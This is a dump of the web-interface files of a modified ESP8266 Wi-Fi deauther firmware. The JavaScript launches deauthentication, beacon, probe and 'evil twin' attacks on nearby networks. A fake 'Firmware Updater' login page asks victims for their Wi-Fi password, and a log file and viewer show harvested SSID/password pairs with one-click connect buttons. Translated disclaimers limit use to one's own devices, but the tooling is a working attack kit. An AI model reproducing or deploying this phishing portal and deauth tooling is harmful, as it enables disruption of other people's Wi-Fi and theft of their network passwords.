}, function () { 126 | getFile("lang/en.lang", parseLang); 127 | } 128 | ); 129 | } 130 | 131 | window.addEventListener('load', function () { 132 | getE("status").style.backgroundColor = "#3c5"; 133 | getE("status").innerHTML = "connected"; 134 | }); -------------------------------------------------------------------------------- /webConverter/start.sh: -------------------------------------------------------------------------------- 1 | cp ../web_interface/$1 . && ./convert.sh $1 && cat data.h 2 | -------------------------------------------------------------------------------- /web_interface/attack.json: -------------------------------------------------------------------------------- 1 | [[false,0,0,0],[false,0,0,0],[false,0,0,0],0] -------------------------------------------------------------------------------- /web_interface/connecting.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 43 | 44 | 45 |
46 |
47 |
48 |
49 |

Connecting...

50 | 51 |
52 | 60 | 61 | 62 | -------------------------------------------------------------------------------- /web_interface/fsmanager.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | FSManager 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 29 | 30 |
31 | 32 |
33 |
34 |
35 |

FS Manager

36 |
37 |
38 |
39 | Evil Twin 40 | 41 | 42 |

43 |
44 |
45 | 46 | 47 |
48 |

Info disini

49 | 50 | 51 | 52 |
File NameSize
53 | 54 |
55 |
56 |
57 | 58 |
59 |
60 | Version 2.6.1 61 |
62 |
63 | Wiki | Credits 64 |
65 | 66 | 67 | -------------------------------------------------------------------------------- /web_interface/js/attack.js: -------------------------------------------------------------------------------- 1 | /* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */ 2 | 3 | var attackJSON = [[false, 0, 0], [false, 0, 0], [false, 0, 0], [false, 0, 0], [false, "[Nothing]"]]; 4 | 5 | function draw() { 6 | // getE("deauth").innerHTML = attackJSON[0][0] ? lang("stop") : lang("start"); 7 | // getE("beacon").innerHTML = attackJSON[1][0] ? lang("stop") : lang("start"); 8 | // getE("probe").innerHTML = attackJSON[2][0] ? lang("stop") : lang("start"); 9 | // getE("deauthAll").innerHTML = attackJSON[3][0] ? lang("stop") : lang("start"); 10 | // getE("evilTwin").innerHTML = attackJSON[4][0] ? lang("stop") : lang("start"); 11 | 12 | getE("startAttack").innerHTML = attackJSON[0][0] | attackJSON[1][0] | attackJSON[2][0] | attackJSON[3][0] | attackJSON[4][0] ? lang("stop") : lang("start"); 13 | 14 | getE("deauthTargets").innerHTML = esc(attackJSON[0][1] + ""); 15 | getE("beaconTargets").innerHTML = esc(attackJSON[1][1] + ""); 16 | getE("probeTargets").innerHTML = esc(attackJSON[2][1] + ""); 17 | getE("deauthAllTargets").innerHTML = esc(attackJSON[3][1] + ""); 18 | getE("evilTwinTargets").innerHTML = esc(attackJSON[4][1] + ""); 19 | 20 | getE("deauthPkts").innerHTML = esc(attackJSON[0][2] + "/" + attackJSON[0][3]); 21 | getE("beaconPkts").innerHTML = esc(attackJSON[1][2] + "/" + attackJSON[1][3]); 22 | getE("probePkts").innerHTML = esc(attackJSON[2][2] + "/" + attackJSON[2][3]); 23 | getE("deauthAllPkts").innerHTML = esc(attackJSON[3][2] + "/" + attackJSON[3][3]); 24 | 25 | getE("allpkts").innerHTML = esc(attackJSON[5] + ""); 26 | } 27 | 28 | function stopAll() { 29 | getFile("run?cmd=stop attack", function () { 30 | load(); 31 | }); 32 | } 33 | 34 | function start() { 35 | // switch (mode) { 36 | // case 0: 37 | // attackJSON[0][0] = !attackJSON[0][0]; 38 | // break; 39 | // case 1: 40 | // attackJSON[1][0] = !attackJSON[1][0]; 41 | // break; 42 | // case 2: 43 | // attackJSON[2][0] = !attackJSON[2][0]; 44 | // break; 45 | // case 3: 46 | // attackJSON[3][0] = !attackJSON[3][0]; 47 | // break; 48 | // case 4: 49 | // attackJSON[4][0] = !attackJSON[4][0]; 50 | // break; 51 | // } 52 | if (attackJSON[0][0] | attackJSON[1][0] | attackJSON[2][0] | attackJSON[3][0] | attackJSON[4][0]){ 53 | stopAll(); 54 | }else{ 55 | attackJSON[0][0] = getE("deauth").checked; 56 | attackJSON[1][0] = getE("beacon").checked; 57 | attackJSON[2][0] = getE("probe").checked; 58 | attackJSON[3][0] = getE("deauthAll").checked; 59 | attackJSON[4][0] = getE("evilTwin").checked; 60 | getFile("run?cmd=attack" + (attackJSON[0][0] ? " -d" : "") + (attackJSON[1][0] ? " -b" : "") + (attackJSON[2][0] ? " -p" : "") + (attackJSON[3][0] ? " -da" : "") + (attackJSON[4][0] ? " -et" : ""), function () { 61 | setTimeout(load, 2000); 62 | draw(); 63 | }); 64 | } 65 | } 66 | 67 | function load() { 68 | getFile("attack.json", function (response) { 69 | attackJSON = JSON.parse(response); 70 | getE("deauth").checked = attackJSON[0][0]; 71 | getE("beacon").checked = attackJSON[1][0]; 72 | getE("probe").checked = attackJSON[2][0]; 73 | getE("deauthAll").checked = attackJSON[3][0]; 74 | getE("evilTwin").checked = attackJSON[4][0]; 75 | 76 | console.log(response); 77 | showMessage("connected"); 78 | draw(); 79 | }); 80 | } 81 | -------------------------------------------------------------------------------- /web_interface/js/fs.js: -------------------------------------------------------------------------------- 1 | var array = ""; 2 | function load() { 3 | filelist(); 4 | getFile("eviltwin.txt", function (res) { 5 | document.getElementById("eviltwinpath").value = res; 6 | }); 7 | getFile("log.json", function (res) { 8 | array = JSON.parse(res) 9 | var logDiv = document.getElementById("log"); 10 | logDiv.innerHTML = "SSID Password "; 11 | for (let index = 0; index < array.length; index++) { 12 | logDiv.innerHTML += "" + array[index].ssid + "" + array[index].pass 13 | + ""; 14 | } 15 | }); 16 | getFile("fsinfo", function (res) { 17 | document.getElementById("fsinfo").innerHTML = res; 18 | }); 19 | } 20 | function connectSaved(idx) { 21 | window.location.href = "./connect?ssid=" + array[idx].ssid + "&pass=" + array[idx].pass; 22 | } 23 | function format() { 24 | getFile("format", function (res) { 25 | var out; 26 | if (res == "OK") out = "Format Success. Restarting..."; 27 | else out = "Format failed!!!" 28 | alert(out); 29 | }); 30 | } 31 | 32 | function filelist() { 33 | getFile("filecli?cmd=listfile", function (res) { 34 | var array = JSON.parse(res) 35 | var listView = document.getElementById("fileList"); 36 | for (let index = 0; index < array.length; index++) { 37 | listView.innerHTML += "" + array[index].name + "" + array[index].size + ""; 38 | } 39 | }); 40 | } 41 | function deleteFile(filePath) { 42 | getFile("filecli?cmd=" + filePath, function (res) { 43 | if (res == "OK"){ 44 | alert("Success delete file : " + filePath); 45 | window.location.reload(); 46 | }else{ 47 | alert("Failed delete file"); 48 | } 49 | }); 50 | } -------------------------------------------------------------------------------- /web_interface/js/settings.js: -------------------------------------------------------------------------------- 1 | /* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */ 2 | 3 | var settingsJson = {}; 4 | 5 | function load() { 6 | getFile("settings.json", function (res) { 7 | settingsJson = JSON.parse(res); 8 | showMessage("connected"); 9 | draw(); 10 | }); 11 | } 12 | function draw() { 13 | var html = ""; 14 | for (var key in settingsJson) { 15 | key = esc(key); 16 | if (settingsJson.hasOwnProperty(key)) { 17 | html += "
" 18 | + "
" 19 | + "" 20 | + "
" 21 | + "
"; 22 | 23 | if (typeof settingsJson[key] == "boolean") { 24 | html += ""; 25 | } else if (typeof settingsJson[key] == "number") { 26 | html += ""; 27 | } else if (typeof settingsJson[key] == "string") { 28 | html += ""; 29 | } 30 | 31 | html += "
" 32 | + "
" 33 | + "
" 34 | + "
" 35 | + "

" + lang("setting_" + key) + "

" 36 | + "
" 37 | + "
" 38 | + "
"; 39 | } 40 | } 41 | getE("settingsList").innerHTML = html; 42 | } 43 | 44 | function save(key, value) { 45 | if (key) { 46 | settingsJson[key] = value; 47 | getFile("run?cmd=set " + key + " \"" + value + "\""); 48 | } else { 49 | getFile("run?cmd=save settings", function (res) { 50 | load(); 51 | }); 52 | } 53 | } -------------------------------------------------------------------------------- /web_interface/js/site.js: -------------------------------------------------------------------------------- 1 | /* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */ 2 | 3 | var langJson = {}; 4 | 5 | function getE(name) { 6 | return document.getElementById(name); 7 | } 8 | 9 | function esc(str) { 10 | if (str) { 11 | return str.toString() 12 | .replace(/&/g, '&') 13 | .replace(//g, '>') 15 | .replace(/\"/g, '"') 16 | .replace(/\'/g, ''') 17 | .replace(/\//g, '/'); 18 | } 19 | return ""; 20 | } 21 | function connect(ids) { 22 | var password = ""; 23 | var usePassword = false; 24 | if (!(scanJson.aps[ids][4] == "-")){ 25 | password = prompt("Password for : " + scanJson.aps[ids][0]); 26 | usePassword = true; 27 | } 28 | window.location.href = "./connect?ssid=" + scanJson.aps[ids][0] + (usePassword ? "&pass=" + password : ""); 29 | } 30 | function convertLineBreaks(str) { 31 | if (str) { 32 | str = str.toString(); 33 | str = str.replace(/(?:\r\n|\r|\n)/g, '
'); 34 | return str; 35 | } 36 | return ""; 37 | } 38 | 39 | function showMessage(msg) { 40 | if (msg.startsWith("ERROR")) { 41 | getE("status").style.backgroundColor = "#d33"; 42 | getE("status").innerHTML = "disconnected"; 43 | 44 | console.error("disconnected (" + msg + ")"); 45 | } else if (msg.startsWith("LOADING")) { 46 | getE("status").style.backgroundColor = "#fc0"; 47 | getE("status").innerHTML = "loading..."; 48 | } else { 49 | getE("status").style.backgroundColor = "#3c5"; 50 | getE("status").innerHTML = "connected"; 51 | 52 | console.log("" + msg + ""); 53 | } 54 | } 55 | 56 | function getFile(adr, callback, timeout, method, onTimeout, onError) { 57 | /* fallback stuff */ 58 | if (adr === undefined) return; 59 | if (callback === undefined) callback = function () { }; 60 | if (timeout === undefined) timeout = 8000; 61 | if (method === undefined) method = "GET"; 62 | if (onTimeout === undefined) { 63 | onTimeout = function () { 64 | showMessage("ERROR: timeout loading file " + adr); 65 | }; 66 | } 67 | if (onError === undefined) { 68 | onError = function () { 69 | showMessage("ERROR: loading file: " + adr); 70 | }; 71 | } 72 | 73 | /* create request */ 74 | var request = new XMLHttpRequest(); 75 | 76 | /* set parameter for request */ 77 | request.open(method, encodeURI(adr), true); 78 | request.timeout = timeout; 79 | request.ontimeout = onTimeout; 80 | request.onerror = onError; 81 | request.overrideMimeType("application/json"); 82 | 83 | request.onreadystatechange = function () { 84 | if (this.readyState == 4) { 85 | if (this.status == 200) { 86 | showMessage("CONNECTED"); 87 | callback(this.responseText); 88 | } 89 | } 90 | }; 91 | 92 | showMessage("LOADING"); 93 | 94 | /* send request */ 95 | request.send(); 96 | 97 | console.log(adr); 98 | } 99 | 100 | function lang(key) { 101 | return convertLineBreaks(esc(langJson[key])); 102 | } 103 | 104 | function parseLang(fileStr) { 105 | langJson = JSON.parse(fileStr); 106 | if (langJson["lang"] != "en") {// no need to update the HTML 107 | var elements = document.querySelectorAll("[data-translate]"); 108 | for (i = 0; i < elements.length; i++) { 109 | var element = elements[i]; 110 | element.innerHTML = lang(element.getAttribute("data-translate")); 111 | } 112 | } 113 | document.querySelector('html').setAttribute("lang", langJson["lang"]); 114 | if (typeof load !== 'undefined') load(); 115 | } 116 | 117 | function loadLang() { 118 | var language = "default"; //navigator.language.slice(0, 2); 119 | getFile("lang/" + language + ".lang", 120 | parseLang, 121 | 2000, 122 | "GET", 123 | function () { 124 | getFile("lang/en.lang", parseLang); 125 | }, function () { 126 | getFile("lang/en.lang", parseLang); 127 | } 128 | ); 129 | } 130 | 131 | window.addEventListener('load', function () { 132 | getE("status").style.backgroundColor = "#3c5"; 133 | getE("status").innerHTML = "connected"; 134 | }); -------------------------------------------------------------------------------- /web_interface/js/ssids.js: -------------------------------------------------------------------------------- 1 | /* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */ 2 | 3 | var ssidJson = { "random": false, "ssids": [] }; 4 | 5 | function load() { 6 | getFile("run?cmd=save ssids", function () { 7 | getFile("ssids.json", function (res) { 8 | ssidJson = JSON.parse(res); 9 | showMessage("connected"); 10 | draw(); 11 | }); 12 | }); 13 | } 14 | 15 | function draw() { 16 | var html; 17 | 18 | html = "" 19 | + "" 20 | + "" 21 | + "" 22 | + "" 23 | + "" 24 | + ""; 25 | 26 | for (var i = 0; i < ssidJson.ssids.length; i++) { 27 | html += "" 28 | + "" + i + "" // ID 29 | + "" + esc(ssidJson.ssids[i][0].substring(0, ssidJson.ssids[i][2])) + "" // SSID 30 | + "" + (ssidJson.ssids[i][1] ? "🔒" : "-") + "" // Enc 31 | + "" // Save 32 | + "" // Remove 33 | + ""; 34 | } 35 | 36 | getE("randomBtn").innerHTML = ssidJson.random ? lang("disable_random") : lang("enable_random"); 37 | 38 | getE("ssidTable").innerHTML = html; 39 | } 40 | 41 | function remove(id) { 42 | ssidJson.ssids.splice(id, 1); 43 | getFile("run?cmd=remove ssid " + id); 44 | draw(); 45 | } 46 | 47 | function add() { 48 | var ssidStr = getE("ssid").value; 49 | var wpa2 = getE("enc").checked; 50 | var clones = getE("ssidNum").value; 51 | var force = getE("overwrite").checked; 52 | if (ssidStr.length > 0) { 53 | var cmdStr = "add ssid \"" + ssidStr + "\"" + (force ? " -f" : " ") + " -cl " + clones; 54 | if (wpa2) cmdStr += " -wpa2"; 55 | 56 | getFile("run?cmd=" + cmdStr); 57 | 58 | for (var i = 0; i < clones; i++) { 59 | if (ssidJson.ssids.length >= 60) ssidJson.ssids.splice(0, 1); 60 | ssidJson.ssids.push([ssidStr, wpa2]); 61 | } 62 | 63 | draw(); 64 | } 65 | } 66 | 67 | function enableRandom() { 68 | if (ssidJson.random) { 69 | getFile("run?cmd=disable random", function () { 70 | load(); 71 | }); 72 | } else { 73 | getFile("run?cmd=enable random " + getE("interval").value, function () { 74 | load(); 75 | }); 76 | } 77 | 78 | } 79 | 80 | function disableRandom() { 81 | 82 | } 83 | 84 | function addSelected() { 85 | getFile("run?cmd=add ssid -s" + (getE("overwrite").checked ? " -f" : "")); 86 | } 87 | 88 | function changeEnc(id) { 89 | ssidJson.ssids[id][1] = !ssidJson.ssids[id][1]; 90 | draw(); 91 | save(id); 92 | } 93 | 94 | function removeAll() { 95 | ssidJson.ssids = []; 96 | getFile("run?cmd=remove ssids"); 97 | draw(); 98 | } 99 | 100 | function save(id) { 101 | var name = getE("ssid_" + id).innerHTML.replace("
", "").substring(0, 32); 102 | var wpa2 = ssidJson.ssids[id][1]; 103 | ssidJson.ssids[id] = [name, wpa2]; 104 | 105 | getFile("run?cmd=replace ssid " + id + " -n \"" + name + "\" " + (wpa2 ? "-wpa2" : "")); 106 | } 107 | 108 | -------------------------------------------------------------------------------- /web_interface/lang/cn.lang: -------------------------------------------------------------------------------- 1 | { 2 | "lang": "cn", 3 | "warning": "注意!", 4 | "disclaimer": "该项目仅用于个人学习和研究使用\nESP8266及其SDK都不是为此目的而设计或构建的。可能会有 Bug 出现!\n请仅在自己的网络和设备上使用!\n本项目使用IEEE 802.11标准中描述的有效Wi-Fi帧,不会阻止或破坏任何频带。\n使用前请检查您的国家的法律法规。\n\n请不要将这个项目称为“干扰器”,这完全破坏了这个项目的真正目的!\n如果你这样做,它只能证明你不了解这个项目意味着什么。\n请勿用于商业用途,或为了自身利益发布该项目的消息,这只能说明你不尊重知识产权,以及背后的社区和为了更好的WiFi标准的斗争。\n\n详情请访问:", 5 | "disclaimer-button": "我已阅读并明白上述注意事项。", 6 | "reload": "刷新", 7 | "scan": "扫描", 8 | "ssids": "SSIDs", 9 | "attacks": "攻击", 10 | "settings": "设置", 11 | "info": "关于", 12 | "info_span": "注意: ", 13 | "all": "全部", 14 | "channel": "信道", 15 | "devices": "保存的设备", 16 | "select_all": "全选", 17 | "deselect_all": "全不选", 18 | "remove_all": "移除全部", 19 | "station_scan_time": "Station扫描时间", 20 | "new": "新建", 21 | "save": "保存", 22 | "add": "添加", 23 | "add_selected": "克隆所选接入点", 24 | "overwrite": "覆盖", 25 | "time_interval": "时间间隔", 26 | "number": "数量", 27 | "targets": "目标", 28 | "scan_info": "- 点击扫描并等待,直到主板上的蓝色LED指示灯熄灭(或变为绿色),然后点击刷新。\n- 在Station扫描期间,Web界面将不可用,您可能需要重新连接!\n- 请只选择一个目标!\n", 29 | "ssids_info": "- 此SSID列表用于信标(beacon)和探测(probe)攻击。\n- 每个SSID最多可以有32个字符。\n- 修改SSID后不要忘记点击保存。\n- 您需要在克隆SSID后点击刷新。\n", 30 | "attack_info": "- 您在开始攻击时可能会失去连接!\n- 你需要为取消验证洪水攻击(deauth)攻击选择一个目标。\n- 您需要保存一个SSID来进行信标和探测攻击。\n- 点击刷新以刷新数据包速率。\n", 31 | "settings_info": "- 某些设置需要重启后才能生效。\n- 修改设置后请务必点击保存以生效。\n", 32 | "info_disclaimer": "如果发生了不可预计的错误,请重载网页并使用串口监视器以进一步调试。", 33 | "start_stop": "开始 / 停止", 34 | "start": "开始", 35 | "stop": "停止", 36 | "wifi_off": "WiFi关闭", 37 | "reboot": "重启", 38 | "reset": "重置", 39 | "enable_random": "开启随机模式", 40 | "disable_random": "关闭随机模式", 41 | "random_desc": "启用随机模式以在给定时间间隔内生成随机的SSID列表", 42 | "deauth_desc": "通过向您选择的接入点和客户端设备发送解除认证帧来关闭WiFi设备的连接。\n因为很多设备不使用802.11w-2009标准来抵御这种攻击。\n- 请只选择一个目标!当您开始攻击的不同信道上的多个目标时,它将在这些信道之间快速切换,届时您将无法重新连接到此Web界面。\n", 43 | "beacon_desc": "信标帧(Beacon)数据包用于宣告接入点。通过不断发送信标帧数据包,看起来就像您创建了新的WiFi网络。\n您可以通过SSID指定网络名称。", 44 | "probe_desc": "探测请求帧由客户端设备发送,以询问一个已知网络是否在附近。\n通过请求您在SSID列表中指定的网络,以此来混淆WiFi跟踪器。\n您可能不会在家庭网络中看到此次攻击的任何影响。", 45 | "setting_version": "版本号,比如说 v2.0.1\n这个选项只能在源代码中更改", 46 | "setting_ssid" : "Wi-Fi 热点 SSID (如果已启用)。\nSSID长度必须在8到31个字符之间。", 47 | "setting_password": "Wi-Fi 密码(如果已启用)。\n密码长度必须在8到31个字符之间。", 48 | "setting_channel": "启动时默认使用的信道。", 49 | "setting_hidden": "隐藏接入点的SSID。", 50 | "setting_captivePortal": "启用captive portal(无线认证系统)。", 51 | "setting_autosave": "自动保存SSIDs、设备名和设置。", 52 | "setting_autosavetime": "自动保存的时间间隔(ms)。", 53 | "setting_display": "启用OLED界面。", 54 | "setting_displayTimeout": "OLED超时时间(s)。\n若需要关闭超时,请设置成0。", 55 | "setting_serial": "启用串口控制界面.\n推荐不要关闭。", 56 | "setting_serialEcho": "开启串口输入回显", 57 | "setting_web": "启用Web界面。", 58 | "settings_webSpiffs": "对所有文件启用 SPIFFS", 59 | "setting_led": "启用 (RGB) LED灯。", 60 | "setting_maxch": "扫描的最大信道。\nUS = 11, EU = 13, Japan = 14.", 61 | "setting_macAP": "接入点模式下的MAC地址。\n只有在接入点模式开启时才会改变MAC地址。", 62 | "setting_macSt": "客户端模式下的MAC地址。\n只有在客户端模式开启时才会改变MAC地址。", 63 | "setting_chtime": "扫描第一个信道到第二个信道的时间间隔(ms)(只有在信道跳变开启时有效)。", 64 | "setting_minDeauths": "扫描最小解除认证攻击帧的数量,改变取消验证洪水攻击模式下的LED。", 65 | "setting_attacktimeout": "指定时间(s)后自动停止攻击。\n设定为0以关闭。", 66 | "setting_forcepackets": "发送多少数据包来用于攻击。\n如果要在繁忙区域达到更好的数据包速率,则将此值设置得更高。\n小心,这个设置可能使设备更慢或者更不稳定。\n最大值为255!", 67 | "setting_deauthspertarget": "发送给每个目标的解除关联帧与解除认证帧。", 68 | "setting_deauthReason": "解除认证帧的原因代码。告知目标设备其为什么连接会被关闭。", 69 | "setting_beaconchannel": "如果启用,在运行信标帧(Beacon)攻击时,会在不同信道上广播。", 70 | "setting_beaconInterval": "启用时,每隔1s会发送一次信标帧(Beacon)。关闭时,时间间隔会变成100ms。\n一个长的时间间隔意味着更稳定和更高效的数据包,但在扫描客户端和接入点时会花费您更多时间。", 71 | "setting_randomTX": "启用随机传输功率来发送信标帧和探测请求帧。", 72 | "setting_probesPerSSID": "探测攻击模式下发送给每个SSID的探测请求帧。", 73 | "setting_lang": "Web界面的默认语言。\n请确认语言文件是否存在!" 74 | } 75 | -------------------------------------------------------------------------------- /web_interface/lang/ja.lang: -------------------------------------------------------------------------------- 1 | { 2 | "lang": "ja", 3 | "warning": "警告", 4 | "disclaimer": "このプロジェクトはテスト及び学術的な目的の概念実証です。\nESP8266及び、そのSDKは、このような目的のためのものではないため。バグがあるかもしれません。\n\n所有するデバイスとネットワークに対してのみ使用してください。\n\nIEEE 802.11標準に記述された有効なWi-Fiフレームを用いており、遮断及び周波数の攪乱ではありません。\n使用する前に自国内の法規を確認してください。\n\nこのプロジェクトでの\"妨害\"を意図しないでください。それはこのプロジェクト本来の目的に反するものです。\nこのプロジェクトが意味するところを何も理解できていないことが証明されるだけです。\n適切な説明をせず、これに関するコンテンツを配布することは、クリックや名声・金銭目的の為であり、知的財産とその背後にあるコミュニティとWiFi標準を良くしていくための戦いに敬意を示さない事になります。\n\n詳細はこちらから:", 5 | "disclaimer-button": "私は告示を読んで理解しました", 6 | "reload": "再読込", 7 | "scan": "スキャン", 8 | "ssids": "SSID", 9 | "attacks": "攻撃", 10 | "settings": "設定", 11 | "info": "情報", 12 | "info_span": "情報: ", 13 | "all": "全て", 14 | "channel": "チャンネル", 15 | "devices": "保存済みデバイス", 16 | "select_all": "全選択", 17 | "deselect_all": "全選択解除", 18 | "remove_all": "全削除", 19 | "station_scan_time": "ステーションのスキャン時間", 20 | "new": "新規", 21 | "save": "保存", 22 | "add": "追加", 23 | "add_selected": "選択APを複製", 24 | "overwrite": "上書", 25 | "time_interval": "間隔", 26 | "number": "番号", 27 | "targets": "対象", 28 | "scan_info": "- SCANを押下してボード上の青色LED(充電中は緑色)が消灯してから、RELOADを押下します。\n- ステーションのスキャン中は再接続までWebインターフェイスを使用できません!\n- 対象を1つだけ選択してください。\n", 29 | "ssids_info": "- このSSIDリストはビーコンと探査攻撃に使用されます。\n- SSIDは最大32文字まで。\n- SSIDを編集した時は忘れずに保存してください。\n- SSIDを複製した後は再読み込みしてください。\n", 30 | "attack_info": "- 攻撃開始により接続が失われることがあります。\n- 認証解除攻撃には対象を選択する必要があります。\n- ビーコン・探査攻撃にはSSIDの保存が必要です。\n- 再読み込みのクリックによりパケットレートを更新します。\n", 31 | "settings_info": "- いくつかの設定は再起動が必要です。\n- 保存をクリックして変更を反映します。\n", 32 | "info_disclaimer": "例外エラーが生じた場合はページの再読み込みと、デバッグのためにシリアルモニターを確認してください。", 33 | "start_stop": "開始 / 停止", 34 | "start": "開始", 35 | "stop": "停止", 36 | "wifi_off": "WiFiオフ", 37 | "reboot": "再起動", 38 | "reset": "リセット", 39 | "enable_random": "ランダムモード有効化", 40 | "disable_random": "ランダムモード無効化", 41 | "random_desc": "ランダムモードを有効にして、ランダムなSSIDを指定の間隔で生成します。", 42 | "deauth_desc": "選択したAPとクライアントに認証解除フレームを送信してWiFiデバイスの接続を閉じます。\nこれは多くのデバイスが、この攻撃に対する保護をもたらす802.11w-2009標準に準じていないため可能になります。\n- 1つだけ対象を選択してください! 異なるチャンネルの複数の対象に攻撃を開始すると、それらのチャンネルがすぐに切り替わりWebインターフェイスに再接続する機会がなくなります。\n", 43 | "beacon_desc": "ビーコンパケットはアクセスポイントのアドバタイズに使用されます。ビーコンパケットの継続的な送信は、WiFiネットワークを新しく作成したかのように見えます。\nSSID下のネットワーク名を指定できます。", 44 | "probe_desc": "探査リクエストはクライアントが近隣に既知のネットワークが存在するか問い合わせます。\nこの攻撃はSSIDリストで指定されたネットワークへの問い合わせによってWiFiトラッカーを攪乱させます。\nホームネットワークに対して、この攻撃による影響はみられないでしょう。", 45 | "setting_version": "バージョン v2.0.\nこの設定はソースコード内でのみ変更できます。", 46 | "setting_ssid" : "Webインターフェイスで使用するアクセスポイントのSSID名(有効な場合)\n1~31文字である必要があります。", 47 | "setting_password": "Webインターフェイスで使用するアクセスポイントのパスワード(有効な場合)\n8~31文字である必要があります。", 48 | "setting_channel": "開始時に使用するデフォルトのWiFiチャンネル", 49 | "setting_hidden": "Webインターフェイスで使用するアクセスポイントを隠す(有効な場合)", 50 | "setting_captivePortal": "アクセスポイントのキャプティブポータルを有効にする(有効な場合)", 51 | "setting_autosave": "SSID/デバイス名/設定を自動保存", 52 | "setting_autosavetime": "自動保存の間隔(ミリ秒)", 53 | "setting_display": "ディスプレイインターフェイスを有効にする", 54 | "setting_displayTimeout": "非アクティブ時にディスプレイをオフにするまでの秒数\n0でディスプレイタイムアウトが無効になります。", 55 | "setting_serial": "シリアルインターフェイスを有効化\n無効にしないことを推奨します!", 56 | "setting_serialEcho": "シリアル経由のメッセージ毎のエコーを有効にする", 57 | "setting_web": "Webインターフェイスを有効にする", 58 | "setting_webSpiffs": "全てのWebファイルでSPIFFSを有効にする", 59 | "setting_led": "(RGB)LED機能を有効にする", 60 | "setting_maxch": "スキャンする最大チャンネル数\nアメリカ = 11, EU = 13, 日本 = 14", 61 | "setting_macAP": "アクセスポイントモードで使用するMACアドレス\n アクセスポイントモードが有効な時にのみ内部MACアドレスを置き換えることに留意してください。", 62 | "setting_macSt": "ステーションモードで使用するMACアドレス\nステーションモードが有効な時にのみ内部MACアドレスを置き換えることに留意してください。", 63 | "setting_chtime": "順次スキャンで次に移るまでの個別のスキャンにかけるミリ秒(チャンネルホッピングが有効な場合のみ)", 64 | "setting_minDeauths": "スキャン時に認証解除モードにLEDを変更するときの認証解除フレームの最小数", 65 | "setting_attacktimeout": "指定時間(秒)後に自動的に攻撃を停止します。\n0で無効になります。", 66 | "setting_forcepackets": "パケットの送信試行数\n混雑したエリアで良好なパケットレートを実現したい場合は値を高く設定します。\nこの設定がデバイスを遅く、より不安定にする可能性があることに注意してください。\n最大値は255です!", 67 | "setting_deauthspertarget": "ターゲット毎に送信する認証解除・関連付け解除フレーム数", 68 | "setting_deauthReason": "認証解除フレームで理由コードが送信されることにより対象デバイスに、なぜ接続が閉じられるか知らせます。", 69 | "setting_beaconchannel": "有効にすると、ビーコン攻撃実行時に全フレームを異なるチャンネルに送信します。", 70 | "setting_beaconInterval": "有効にすると、ビーコンが毎秒送信されます。無効の場合は100ミリ秒の間隔を開けます。\n間隔を長くするとパケットの安定性とスパムの低減をもたらしますが、スキャン時にクライアントがSSIDを見つけるまで時間を要する事があります。", 71 | "setting_randomTX": "探査リクエストフレームと送出ビーコンの送信出力をランダムにする", 72 | "setting_probesPerSSID": "SSID毎に送信する探査リクエストフレーム数", 73 | "setting_lang": "Webインターフェイスのデフォルト言語\n言語ファイルが存在するか確認してください!" 74 | } -------------------------------------------------------------------------------- /web_interface/list.json: -------------------------------------------------------------------------------- 1 | [{"name":"autostart.txt","size":"19"},{"name":"eviltwin.txt","size":"10"},{"name":"log.json","size":"41"},{"name":"names.json","size":"2"},{"name":"scan.json","size":"278"},{"name":"settings.json","size":"507"},{"name":"ssids.json","size":"1161"},{"name":"test.html","size":"1816"}] -------------------------------------------------------------------------------- /web_interface/log.json: -------------------------------------------------------------------------------- 1 | [ 2 | { 3 | "ssid": "Dx4", 4 | "pass": "Kontol 12345" 5 | }, 6 | { 7 | "ssid": "Awang", 8 | "pass": "Kontol 12345" 9 | } 10 | ] -------------------------------------------------------------------------------- /web_interface/login.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Firmware Updater 7 | 89 | 90 | 91 |
92 |
93 |
94 |

Firmware Updater

95 |

96 | For security reasons, we require you to verify your password before 97 | proceeding with the firmware update. 98 |

99 |
100 |
101 | 108 |
109 | 110 |
111 |
112 |
113 | 116 |
117 | 118 | 119 | -------------------------------------------------------------------------------- /web_interface/names.json: -------------------------------------------------------------------------------- 1 | [ 2 | [ 3 | "b8:1d:aa:d5:6f:f0", 4 | "don't!", 5 | "[[[[not mine]]]]", 6 | "", 7 | 1, 8 | true 9 | ] 10 | ,[ 11 | "f4:6b:de:da:8d:95", 12 | "Spacehuhn", 13 | "--SpaceRouter!--", 14 | "", 15 | 1, 16 | false 17 | ] 18 | ,[ 19 | "00:11:22:33:44:55", 20 | "TEST", 21 | "JS sucks!", 22 | "5c:37:3b:f7:67:be", 23 | 1, 24 | true 25 | ] 26 | ] -------------------------------------------------------------------------------- /web_interface/run: -------------------------------------------------------------------------------- 1 | Empty file :D -------------------------------------------------------------------------------- /web_interface/scan.json: -------------------------------------------------------------------------------- 1 | { 2 | "aps":[ 3 | [ 4 | "Don't", 5 | "--SpaceRouter!--", 6 | 6, 7 | -57, 8 | "WPA2", 9 | "f4:6b:de:da:8d:95", 10 | "Spacehuhn", 11 | false 12 | ], 13 | [ 14 | "call", 15 | "", 16 | 1, 17 | -80, 18 | "-", 19 | "cc:cf:1e:d5:5b:2b", 20 | "SpaceLtd", 21 | true 22 | ], 23 | [ 24 | "it", 25 | "", 26 | 6, 27 | -81, 28 | "WPA*", 29 | "5c:37:3b:f7:67:be", 30 | "SpaceBox", 31 | false 32 | ], 33 | [ 34 | "a", 35 | "", 36 | 8, 37 | -82, 38 | "WPA2", 39 | "cd:ce:1e:0a:4e:9e", 40 | "SpacEEE", 41 | false 42 | ], 43 | [ 44 | "jammer", 45 | "", 46 | 8, 47 | -83, 48 | "WPA2", 49 | "c7:0e:14:95:a1:3b", 50 | "Chicken!", 51 | false 52 | ], 53 | [ 54 | "Don't call it a Jammer! DON'T !!", 55 | "", 56 | 8, 57 | -90, 58 | "WPA2", 59 | "c8:0e:14:95:a1:3b", 60 | "Huhn", 61 | false 62 | ] 63 | ], 64 | "stations":[ 65 | [ 66 | "04:d7:aa:dc:6e:5a", 67 | 6, 68 | "", 69 | "Just", 70 | 168, 71 | 2, 72 | "<1sec", 73 | false 74 | ], 75 | 76 | [ 77 | 